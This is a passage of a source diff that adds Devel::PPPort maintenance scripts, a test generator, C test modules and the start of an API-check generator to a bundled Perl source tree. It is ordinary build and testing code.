+ | perl -e'$f=pop;open(F,$f)||die"$f:$!";while(<F>){(split/\|/)[2]=~/(\w+)/;$h{$1}++}
+ while(<>){s/[ \t]+$//;(split/\|/)[2]=~/(\w+)/;$h{$1}||print}' $EMBED >>$OUTPUT
+else
+ usage
+fi
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo
new file mode 100644
index 00000000000..2eb9ea30430
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo
@@ -0,0 +1,58 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# mktodo -- generate baseline and todo files by running mktodo.pl
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+
+require './devel/devtools.pl';
+
+our %opt = (
+ base => 0,
+ check => 1,
+ verbose => 0,
+ install => '/tmp/perl/install/default',
+ blead => 'bleadperl-debug',
+);
+
+GetOptions(\%opt, qw( base check! verbose install=s blead=s blead-version=s )) or die;
+
+identify();
+
+my $outdir = 'parts/todo';
+
+my @perls = sort { $b->{version} <=> $a->{version} }
+ map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } }
+ ($opt{blead}, grep !/-RC\d+/, glob "$opt{install}/*/bin/perl5.*");
+
+if (exists $opt{'blead-version'}) {
+ $perls[0]{version} = $opt{'blead-version'};
+}
+
+for (1 .. $#perls) {
+ $perls[$_]{todo} = $perls[$_-1]{version};
+}
+
+shift @perls;
+
+for (@perls) {
+ my $todo = do { my $v = $_->{todo}; $v =~ s/\D+//g; $v };
+ -e "$outdir/$todo" and next;
+ my @args = ('--perl', $_->{path}, '--todo', "$outdir/$todo", '--version', "$_->{todo}");
+ push @args, '--base' if $opt{base};
+ push @args, '--verbose' if $opt{verbose};
+ push @args, '--nocheck' unless $opt{check};
+ runperl('devel/mktodo.pl', @args) or die "error running mktodo.pl [$!] [$?]\n";
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl
new file mode 100644
index 00000000000..c479eab5d1e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/mktodo.pl
@@ -0,0 +1,374 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# mktodo.pl -- generate baseline and todo files
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+use Data::Dumper;
+use IO::File;
+use IO::Select;
+use Config;
+use Time::HiRes qw( gettimeofday tv_interval );
+
+require './devel/devtools.pl';
+
+our %opt = (
+ debug => 0,
+ base => 0,
+ verbose => 0,
+ check => 1,
+ shlib => 'blib/arch/auto/Devel/PPPort/PPPort.so',
+);
+
+GetOptions(\%opt, qw(
+ perl=s todo=s version=s shlib=s debug base verbose check!
+ )) or die;
+
+identify();
+
+print "\n", ident_str(), "\n\n";
+
+my $fullperl = `which $opt{perl}`;
+chomp $fullperl;
+
+$ENV{SKIP_SLOW_TESTS} = 1;
+
+regen_all();
+
+my %stdsym = map { ($_ => 1) } qw (
+ strlen
+ snprintf
+ strcmp
+ memcpy
+ strncmp
+ memmove
+ memcmp
+ tolower
+ exit
+ memset
+ vsnprintf
+ siglongjmp
+ sprintf
+);
+
+my %sym;
+for (`$Config{nm} $fullperl`) {
+ chomp;
+ /\s+T\s+(\w+)\s*$/ and $sym{$1}++;
+}
+keys %sym >= 50 or die "less than 50 symbols found in $fullperl\n";
+
+my %all = %{load_todo($opt{todo}, $opt{version})};
+my @recheck;
+
+my $symmap = get_apicheck_symbol_map();
+
+for (;;) {
+ my $retry = 1;
+ my $trynm = 1;
+ regen_apicheck();
+
+retry:
+ my(@new, @tmp, %seen);
+
+ my $r = run(qw(make));
+ $r->{didnotrun} and die "couldn't run make: $!\n";
+
+ for my $l (@{$r->{stderr}}) {
+ if ($l =~ /_DPPP_test_(\w+)/) {
+ if (!$seen{$1}++) {
+ my @s = grep { exists $sym{$_} } $1, "Perl_$1", "perl_$1";
+ if (@s) {
+ push @tmp, [$1, "E (@s)"];
+ }
+ else {
+ push @new, [$1, "E"];
+ }
+ }
+ }
+ }
+
+ if ($r->{status} == 0) {
+ my @u;
+ my @usym;
+
+ if ($trynm) {
+ @u = eval { find_undefined_symbols($fullperl, $opt{shlib}) };
+ warn "warning: $@" if $@;
+ $trynm = 0;
+ }
+
+ unless (@u) {
+ $r = run(qw(make test));
+ $r->{didnotrun} and die "couldn't run make test: $!\n";
+ $r->{status} == 0 and last;
+
+ for my $l (@{$r->{stderr}}) {
+ if ($l =~ /undefined symbol: (\w+)/) {
+ push @u, $1;
+ }
+ }
+ }
+
+ for my $u (@u) {
+ for my $m (keys %{$symmap->{$u}}) {
+ if (!$seen{$m}++) {
+ my $pl = $m;
+ $pl =~ s/^[Pp]erl_//;
+ my @s = grep { exists $sym{$_} } $pl, "Perl_$pl", "perl_$pl";
+ push @new, [$m, @s ? "U (@s)" : "U"];
+ }
+ }
+ }
+ }
+
+ @new = grep !$all{$_->[0]}, @new;
+
+ unless (@new) {
+ @new = grep !$all{$_->[0]}, @tmp;
+ }
+
+ unless (@new) {
+ if ($retry > 0) {
+ $retry--;
+ regen_all();
+ goto retry;
+ }
+ print Dumper($r);
+ die "no new TODO symbols found...";
+ }
+
+ # don't recheck undefined symbols reported by the dynamic linker
+ push @recheck, map { $_->[0] } grep { $_->[1] !~ /^U/ } @new;
+
+ for (@new) {
+ sym('new', @$_);
+ $all{$_->[0]} = $_->[1];
+ }
+
+ write_todo($opt{todo}, $opt{version}, \%all);
+}
+
+if ($opt{check}) {
+ my $ifmt = '%' . length(scalar @recheck) . 'd';
+ my $t0 = [gettimeofday];
+
+ RECHECK: for my $i (0 .. $#recheck) {
+ my $sym = $recheck[$i];
+ my $cur = delete $all{$sym};
+
+ sym('chk', $sym, $cur, sprintf(" [$ifmt/$ifmt, ETA %s]",
+ $i + 1, scalar @recheck, eta($t0, $i, scalar @recheck)));
+
+ write_todo($opt{todo}, $opt{version}, \%all);
+
+ if ($cur eq "E (Perl_$sym)") {
+ # we can try a shortcut here
+ regen_apicheck($sym);
+
+ my $r = run(qw(make test));
+
+ if (!$r->{didnotrun} && $r->{status} == 0) {
+ sym('del', $sym, $cur);
+ next RECHECK;
+ }
+ }
+
+ # run the full test
+ regen_all();
+
+ my $r = run(qw(make test));
+
+ $r->{didnotrun} and die "couldn't run make test: $!\n";
+
+ if ($r->{status} == 0) {
+ sym('del', $sym, $cur);
+ }
+ else {
+ $all{$sym} = $cur;
+ }
+ }
+}
+
+write_todo($opt{todo}, $opt{version}, \%all);
+
+run(qw(make realclean));
+
+exit 0;
+
+sub sym
+{
+ my($what, $sym, $reason, $extra) = @_;
+ $extra ||= '';
+ my %col = (
+ 'new' => 'bold red',
+ 'chk' => 'bold magenta',
+ 'del' => 'bold green',
+ );
+ $what = colored("$what symbol", $col{$what});
+
+ printf "[%s] %s %-30s # %s%s\n",
+ $opt{version}, $what, $sym, $reason, $extra;
+}
+
+sub regen_all
+{
+ my @mf_arg = ('--with-apicheck', 'OPTIMIZE=-O0 -w');
+ push @mf_arg, qw( DEFINE=-DDPPP_APICHECK_NO_PPPORT_H ) if $opt{base};
+
+ # just to be sure
+ run(qw(make realclean));
+ run($fullperl, "Makefile.PL", @mf_arg)->{status} == 0
+ or die "cannot run Makefile.PL: $!\n";
+}
+
+sub regen_apicheck
+{
+ unlink qw(apicheck.c apicheck.o);
+ runtool({ out => '/dev/null' }, $fullperl, 'apicheck_c.PL', map { "--api=$_" } @_)
+ or die "cannot regenerate apicheck.c\n";
+}
+
+sub load_todo
+{
+ my($file, $expver) = @_;
+
+ if (-e $file) {
+ my $f = new IO::File $file or die "cannot open $file: $!\n";
+ my $ver = <$f>;
+ chomp $ver;
+ if ($ver eq $expver) {
+ my %sym;
+ while (<$f>) {
+ chomp;
+ /^(\w+)\s+#\s+(.*)/ or goto nuke_file;
+ exists $sym{$1} and goto nuke_file;
+ $sym{$1} = $2;
+ }
+ return \%sym;
+ }
+
+nuke_file:
+ undef $f;
+ unlink $file or die "cannot remove $file: $!\n";
+ }
+
+ return {};
+}
+
+sub write_todo
+{
+ my($file, $ver, $sym) = @_;
+ my $f;
+
+ $f = new IO::File ">$file" or die "cannot open $file: $!\n";
+ $f->print("$ver\n");
+
+ for (sort keys %$sym) {
+ $f->print(sprintf "%-30s # %s\n", $_, $sym->{$_});
+ }
+}
+
+sub find_undefined_symbols
+{
+ my($perl, $shlib) = @_;
+
+ my $ps = read_sym(file => $perl, options => [qw( --defined-only )]);
+ my $ls = read_sym(file => $shlib, options => [qw( --undefined-only )]);
+
+ my @undefined;
+
+ for my $sym (keys %$ls) {
+ unless (exists $ps->{$sym}) {
+ if ($sym !~ /\@/ and $sym !~ /^_/) {
+ push @undefined, $sym unless $stdsym{$sym};
+ }
+ }
+ }
+
+ return @undefined;
+}
+
+sub read_sym
+{
+ my %opt = ( options => [], @_ );
+
+ my $r = run($Config{nm}, @{$opt{options}}, $opt{file});
+
+ if ($r->{didnotrun} or $r->{status}) {
+ die "cannot run $Config{nm}";
+ }
+
+ my %sym;
+
+ for (@{$r->{stdout}}) {
+ chomp;
+ my($adr, $fmt, $sym) = /^\s*([[:xdigit:]]+)?\s+([ABCDGINRSTUVW?-])\s+(\S+)\s*$/i
+ or die "cannot parse $Config{nm} output:\n[$_]\n";
+ $sym{$sym} = { format => $fmt };
+ $sym{$sym}{address} = $adr if defined $adr;
+ }
+
+ return \%sym;
+}
+
+sub get_apicheck_symbol_map
+{
+ my $r;
+
+ while (1) {
+ $r = run(qw(make apicheck.i));
+
+ last unless $r->{didnotrun} or $r->{status};
+
+ my %sym = map { /error: macro "(\w+)" (?:requires|passed) \d+ argument/ ? ($1 => 'A') : () }
+ @{$r->{stderr}};
+
+ if (keys %sym) {
+ for my $s (sort keys %sym) {
+ sym('new', $s, $sym{$s});
+ $all{$s} = $sym{$s};
+ }
+ write_todo($opt{todo}, $opt{version}, \%all);
+ regen_apicheck();
+ }
+ else {
+ die "cannot run make apicheck.i ($r->{didnotrun} / $r->{status}):\n".
+ join('', @{$r->{stdout}})."\n---\n".join('', @{$r->{stderr}});
+ }
+ }
+
+ my $fh = IO::File->new('apicheck.i')
+ or die "cannot open apicheck.i: $!";
+
+ local $_;
+ my %symmap;
+ my $cur;
+
+ while (<$fh>) {
+ next if /^#/;
+ if (defined $cur) {
+ for my $sym (/\b([A-Za-z_]\w+)\b/g) {
+ $symmap{$sym}{$cur}++;
+ }
+ undef $cur if /^}$/;
+ }
+ else {
+ /_DPPP_test_(\w+)/ and $cur = $1;
+ }
+ }
+
+ return \%symmap;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate
new file mode 100644
index 00000000000..5ffa30ccef7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/regenerate
@@ -0,0 +1,160 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# regenerate -- regenerate baseline and todo files
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use File::Path;
+use File::Copy;
+use Getopt::Long;
+use Pod::Usage;
+
+require './devel/devtools.pl';
+
+our %opt = (
+ check => 1,
+ verbose => 0,
+);
+
+GetOptions(\%opt, qw( check! verbose install=s blead=s blead-version=s )) or die pod2usage();
+
+identify();
+
+unless (-e 'parts/embed.fnc' and -e 'parts/apidoc.fnc') {
+ print "\nOooops, $0 must be run from the Devel::PPPort root directory.\n";
+ quit_now();
+}
+
+ask_or_quit("Are you sure you have updated parts/embed.fnc and parts/apidoc.fnc?");
+
+my %files = map { ($_ => [glob "parts/$_/5*"]) } qw( base todo );
+
+my(@notwr, @wr);
+for my $f (map @$_, values %files) {
+ push @{-w $f ? \@wr : \@notwr}, $f;
+}
+
+if (@notwr) {
+ if (@wr) {
+ print "\nThe following files are not writable:\n\n";
+ print " $_\n" for @notwr;
+ print "\nAre you sure you have checked out these files?\n";
+ }
+ else {
+ print "\nAll baseline / todo file are not writable.\n";
+ ask_or_quit("Do you want to try to check out these files?");
+ unless (runtool("wco", "-l", "-t", "locked by $0", @notwr)) {
+ print "\nSomething went wrong while checking out the files.\n";
+ quit_now();
+ }
+ }
+}
+
+for my $dir (qw( base todo )) {
+ my $cur = "parts/$dir";
+ my $old = "$cur-old";
+ if (-e $old) {
+ ask_or_quit("Do you want me to remove the old $old directory?");
+ rmtree($old);
+ }
+ mkdir $old;
+ print "\nBacking up $cur in $old.\n";
+ for my $src (@{$files{$dir}}) {
+ my $dst = $src;
+ $dst =~ s/\Q$cur/$old/ or die "Ooops!";
+ move($src, $dst) or die "Moving $src to $dst failed: $!\n";
+ }
+}
+
+my @perlargs;
+push @perlargs, "--install=$opt{install}" if exists $opt{install};
+push @perlargs, "--blead=$opt{blead}" if exists $opt{blead};
+
+my $T0 = time;
+my @args = ddverbose();
+push @args, '--nocheck' unless $opt{check};
+push @args, "--blead-version=$opt{'blead-version'}" if exists $opt{'blead-version'};
+push @args, @perlargs;
+
+print "\nBuilding baseline files...\n\n";
+
+unless (runperl('devel/mktodo', '--base', @args)) {
+ print "\nSomething went wrong while building the baseline files.\n";
+ quit_now();
+}
+
+print "\nMoving baseline files...\n\n";
+
+for my $src (glob 'parts/todo/5*') {
+ my $dst = $src;
+ $dst =~ s/todo/base/ or die "Ooops!";
+ move($src, $dst) or die "Moving $src to $dst failed: $!\n";
+}
+
+print "\nBuilding todo files...\n\n";
+
+unless (runperl('devel/mktodo', @args)) {
+ print "\nSomething went wrong while building the baseline files.\n";
+ quit_now();
+}
+
+print "\nAdding remaining baseline info...\n\n";
+
+unless (runperl('Makefile.PL') and
+ runtool('make') and
+ runperl('devel/scanprov', '--mode=write', @perlargs)) {
+ print "\nSomething went wrong while adding the baseline info.\n";
+ quit_now();
+}
+
+my($wall, $usr, $sys, $cusr, $csys) = (time - $T0, times);
+my $cpu = sprintf "%.2f", $usr + $sys + $cusr + $csys;
+$usr = sprintf "%.2f", $usr + $cusr;
+$sys = sprintf "%.2f", $sys + $csys;
+
+print <<END;
+
+API info regenerated successfully.
+
+Finished in $wall wallclock secs ($usr usr + $sys sys = $cpu CPU)
+
+Don't forget to check in the files in parts/base and parts/todo.
+
+END
+
+__END__
+
+=head1 NAME
+
+regenerate - Automatically regenerate Devel::PPPort's API information
+
+=head1 SYNOPSIS
+
+ regenerate [options]
+
+ --nocheck don't recheck symbols that caused an error
+ --verbose show verbose output
+
+=head1 COPYRIGHT
+
+Copyright (c) 2006-2013, Marcus Holland-Moritz.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort> and L<HACKERS>.
+
+=cut
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov
new file mode 100644
index 00000000000..804524cb4a9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/devel/scanprov
@@ -0,0 +1,78 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# scanprov -- scan Perl headers for provided macros
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+
+require './parts/ppptools.pl';
+
+our %opt = (
+ mode => 'check',
+ install => '/tmp/perl/install/default',
+ blead => 'bleadperl',
+);
+
+GetOptions(\%opt, qw( install=s mode=s blead=s )) or die;
+
+my $write = $opt{mode} eq 'write';
+
+my %embed = map { ( $_->{name} => 1 ) }
+ parse_embed(qw(parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc ));
+
+my @provided = grep { !exists $embed{$_} }
+ map { /^(\w+)/ ? $1 : () }
+ `$^X ppport.h --list-provided`;
+
+my @perls = sort { $b->{version} <=> $a->{version} }
+ map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } }
+ ($opt{blead}, glob "$opt{install}/*/bin/perl5.*");
+
+for (1 .. $#perls) {
+ $perls[$_]{todo} = $perls[$_-1]{version};
+}
+
+shift @perls;
+
+my %v;
+
+for my $p (@perls) {
+ print "checking perl $p->{version}...\n";
+ my $archlib = `$p->{path} -MConfig -l -e 'print \$Config{archlib}'`;
+ chomp $archlib;
+ local @ARGV = glob "$archlib/CORE/*.h";
+ my %sym;
+ while (<>) { $sym{$_}++ for /(\w+)/g; }
+ @provided = map { $sym{$_} or $v{$p->{todo}}{$_}++; $sym{$_} ? $_ : () } @provided;
+}
+
+my $out = 'parts/base';
+my $todo = parse_todo($out);
+
+for my $v (keys %v) {
+ my @new = sort grep { !exists $todo->{$_} } keys %{$v{$v}};
+ @new or next;
+ my $file = $v;
+ $file =~ s/\.//g;
+ $file = "$out/$file";
+ -e $file or die "non-existent: $file\n";
+ print "-- $file --\n";
+ $write and (open F, ">>$file" or die "$file: $!\n");
+ for (@new) {
+ print "adding $_\n";
+ $write and printf F "%-30s # added by $0\n", $_;
+ }
+ $write and close F;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL b/gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL
new file mode 100644
index 00000000000..02c91104636
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/mktests.PL
@@ -0,0 +1,110 @@
+################################################################################
+#
+# mktests.PL -- generate test files for Devel::PPPort
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my $template = do { local $/; <DATA> };
+
+generate_tests();
+
+sub generate_tests
+{
+ my @tests;
+ my $file;
+
+ for $file (all_files_in_dir('parts/inc')) {
+ my($testfile) = $file =~ /(\w+)\.?$/; # VMS has a trailing dot
+ $testfile = "t/$testfile.t";
+
+ my $spec = parse_partspec($file);
+ my $plan = 0;
+
+ if (exists $spec->{tests}) {
+ exists $spec->{OPTIONS}{tests} &&
+ exists $spec->{OPTIONS}{tests}{plan}
+ or die "No plan for tests in $file\n";
+
+ print "generating $testfile\n";
+
+ my $tmpl = $template;
+ $tmpl =~ s/__SOURCE__/$file/mg;
+ $tmpl =~ s/__PLAN__/$spec->{OPTIONS}{tests}{plan}/mg;
+ $tmpl =~ s/^__TESTS__$/$spec->{tests}/mg;
+
+ open FH, ">$testfile" or die "$testfile: $!\n";
+ print FH $tmpl;
+ close FH;
+
+ push @tests, $testfile;
+ }
+ }
+
+ return @tests;
+}
+
+__DATA__
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or __SOURCE__ instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (__PLAN__) {
+ load();
+ plan(tests => __PLAN__);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+__TESTS__
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/module2.c b/gnu/usr.bin/perl/dist/Devel-PPPort/module2.c
new file mode 100644
index 00000000000..a9a6f2aa446
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/module2.c
@@ -0,0 +1,54 @@
+/*******************************************************************************
+*
+* Perl/Pollution/Portability
+*
+********************************************************************************
+*
+* Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+* Version 2.x, Copyright (C) 2001, Paul Marquess.
+* Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+* This program is free software; you can redistribute it and/or
+* modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#ifndef PATCHLEVEL
+#include "patchlevel.h"
+#endif
+
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_PL_signals_GLOBAL
+#define NEED_PL_parser
+#define DPPP_PL_parser_NO_DUMMY
+#include "ppport.h"
+
+void call_newCONSTSUB_2(void)
+{
+ newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_2", newSViv(2));
+}
+
+U32 get_PL_signals_2(void)
+{
+ return PL_signals;
+}
+
+int no_dummy_parser_vars(int check)
+{
+ if (check == 0 || PL_parser)
+ {
+ line_t volatile my_copline;
+ line_t volatile *my_p_copline;
+ my_copline = PL_copline;
+ my_p_copline = &PL_copline;
+ PL_copline = my_copline;
+ PL_copline = *my_p_copline;
+ return 1;
+ }
+
+ return 0;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/module3.c b/gnu/usr.bin/perl/dist/Devel-PPPort/module3.c
new file mode 100644
index 00000000000..417490e0125
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/module3.c
@@ -0,0 +1,71 @@
+/*******************************************************************************
+*
+* Perl/Pollution/Portability
+*
+********************************************************************************
+*
+* Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+* Version 2.x, Copyright (C) 2001, Paul Marquess.
+* Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+* This program is free software; you can redistribute it and/or
+* modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+#include "EXTERN.h"
+#include "perl.h"
+
+#define NEED_PL_parser
+#define NO_XSLOCKS
+#include "XSUB.h"
+
+#include "ppport.h"
+
+static void throws_exception(int throw_e)
+{
+ if (throw_e)
+ croak("boo\n");
+}
+
+int exception(int throw_e)
+{
+ dTHR;
+ dXCPT;
+ SV *caught = get_sv("Devel::PPPort::exception_caught", 0);
+
+ XCPT_TRY_START {
+ throws_exception(throw_e);
+ } XCPT_TRY_END
+
+ XCPT_CATCH
+ {
+ sv_setiv(caught, 1);
+ XCPT_RETHROW;
+ }
+
+ sv_setiv(caught, 0);
+
+ return 42;
+}
+
+void call_newCONSTSUB_3(void)
+{
+ newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_3", newSViv(3));
+}
+
+U32 get_PL_signals_3(void)
+{
+ return PL_signals;
+}
+
+int dummy_parser_warning(void)
+{
+ char * volatile my_bufptr;
+ char * volatile *my_p_bufptr;
+ my_bufptr = PL_bufptr;
+ my_p_bufptr = &PL_bufptr;
+ PL_bufptr = my_bufptr;
+ PL_bufptr = *my_p_bufptr;
+ return &PL_bufptr != NULL;
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl
new file mode 100644
index 00000000000..69d85027fdb
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apicheck.pl
@@ -0,0 +1,326 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+# apicheck.pl -- generate C source for automated API check
+#
+################################################################################
+#
+# Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+# Version 2.x, Copyright (C) 2001, Paul Marquess.
+# Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+require './parts/ppptools.pl';
+
+if (@ARGV) {
+ my $file = pop @ARGV;
+ open OUT, ">$file" or die "$file: $!\n";
+}
+else {
+ *OUT = \*STDOUT;
+}
+
+my @f = parse_embed(qw( parts/embed.fnc parts/apidoc.fnc parts/ppport.fnc ));
+
+my %todo = %{&parse_todo};
+
+my %tmap = (
+ void => 'int',
+);
+
+my %amap = (
+ SP => 'SP',
+ type => 'int',
+ cast => 'int',
+);
+
+my %void = (
+ void => 1,
+ Free_t => 1,
+ Signal_t => 1,
+);
+
+my %castvoid = (
+ map { ($_ => 1) } qw(
+ Nullav
+ Nullcv
+ Nullhv
+ Nullch
+ Nullsv
+ HEf_SVKEY
+ SP
+ MARK
+ SVt_PV
+ SVt_IV
+ SVt_NV
+ SVt_PVMG
+ SVt_PVAV
+ SVt_PVHV
+ SVt_PVCV
+ SvUOK
+ G_SCALAR
+ G_ARRAY
+ G_VOID
+ G_DISCARD
+ G_EVAL
+ G_NOARGS
+ XS_VERSION
+ ),
+);
+
+my %ignorerv = (
+ map { ($_ => 1) } qw(
+ newCONSTSUB
+ ),
+);
+
+my %stack = (
+ ORIGMARK => ['dORIGMARK;'],
+ POPpx => ['STRLEN n_a;'],
+ POPpbytex => ['STRLEN n_a;'],
+ PUSHp => ['dTARG;'],
+ PUSHn => ['dTARG;'],
+ PUSHi => ['dTARG;'],
+ PUSHu => ['dTARG;'],
+ XPUSHp => ['dTARG;'],
+ XPUSHn => ['dTARG;'],
+ XPUSHi => ['dTARG;'],
+ XPUSHu => ['dTARG;'],
+ UNDERBAR => ['dUNDERBAR;'],
+ XCPT_TRY_START => ['dXCPT;'],
+ XCPT_TRY_END => ['dXCPT;'],
+ XCPT_CATCH => ['dXCPT;'],
+ XCPT_RETHROW => ['dXCPT;'],
+);
+
+my %ignore = (
+ map { ($_ => 1) } qw(
+ svtype
+ items
+ ix
+ dXSI32
+ XS
+ CLASS
+ THIS
+ RETVAL
+ StructCopy
+ ),
+);
+
+print OUT <<HEAD;
+/*
+ * !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
+ * This file is built by $0.
+ * Any changes made here will be lost!
+ */
+
+#include "EXTERN.h"
+#include "perl.h"
+
+#define NO_XSLOCKS
+#include "XSUB.h"
+
+#ifdef DPPP_APICHECK_NO_PPPORT_H
+
+/* This is just to avoid too many baseline failures with perls < 5.6.0 */
+
+#ifndef dTHX
+# define dTHX extern int Perl___notused
+#endif
+
+#else
+
+#define NEED_PL_signals
+#define NEED_PL_parser
+#define NEED_caller_cx
+#define NEED_eval_pv
+#define NEED_grok_bin
+#define NEED_grok_hex
+#define NEED_grok_number
+#define NEED_grok_numeric_radix
+#define NEED_grok_oct
+#define NEED_gv_fetchpvn_flags
+#define NEED_load_module
+#define NEED_mg_findext
+#define NEED_my_snprintf
+#define NEED_my_sprintf
+#define NEED_my_strlcat
+#define NEED_my_strlcpy
+#define NEED_newCONSTSUB
+#define NEED_newRV_noinc
+#define NEED_newSV_type
+#define NEED_newSVpvn_flags
+#define NEED_newSVpvn_share
+#define NEED_pv_display
+#define NEED_pv_escape
+#define NEED_pv_pretty
+#define NEED_sv_2pv_flags
+#define NEED_sv_2pvbyte
+#define NEED_sv_catpvf_mg
+#define NEED_sv_catpvf_mg_nocontext
+#define NEED_sv_pvn_force_flags
+#define NEED_sv_setpvf_mg
+#define NEED_sv_setpvf_mg_nocontext
+#define NEED_sv_unmagicext
+#define NEED_SvRX
+#define NEED_vload_module
+#define NEED_vnewSVpvf
+#define NEED_warner
+
+#include "ppport.h"
+
+#endif
+
+static int VARarg1;
+static char *VARarg2;
+static double VARarg3;
+
+#if defined(PERL_BCDVERSION) && (PERL_BCDVERSION < 0x5009005)
+/* needed to make PL_parser apicheck work */
+typedef void yy_parser;
+#endif
+
+HEAD
+
+if (@ARGV) {
+ my %want = map { ($_ => 0) } @ARGV;
+ @f = grep { exists $want{$_->{name}} } @f;
+ for (@f) { $want{$_->{name}}++ }
+ for (keys %want) {
+ die "nothing found for '$_'\n" unless $want{$_};
+ }
+}
+
+my $f;
+for $f (@f) {
+ $ignore{$f->{name}} and next;
+ $f->{flags}{A} or next; # only public API members
+
+ $ignore{$f->{name}} = 1; # ignore duplicates
+
+ my $Perl_ = $f->{flags}{p} ? 'Perl_' : '';
+
+ my $stack = '';
+ my @arg;
+ my $aTHX = '';
+
+ my $i = 1;
+ my $ca;
+ my $varargs = 0;
+ for $ca (@{$f->{args}}) {
+ my $a = $ca->[0];
+ if ($a eq '...') {
+ $varargs = 1;
+ push @arg, qw(VARarg1 VARarg2 VARarg3);
+ last;
+ }
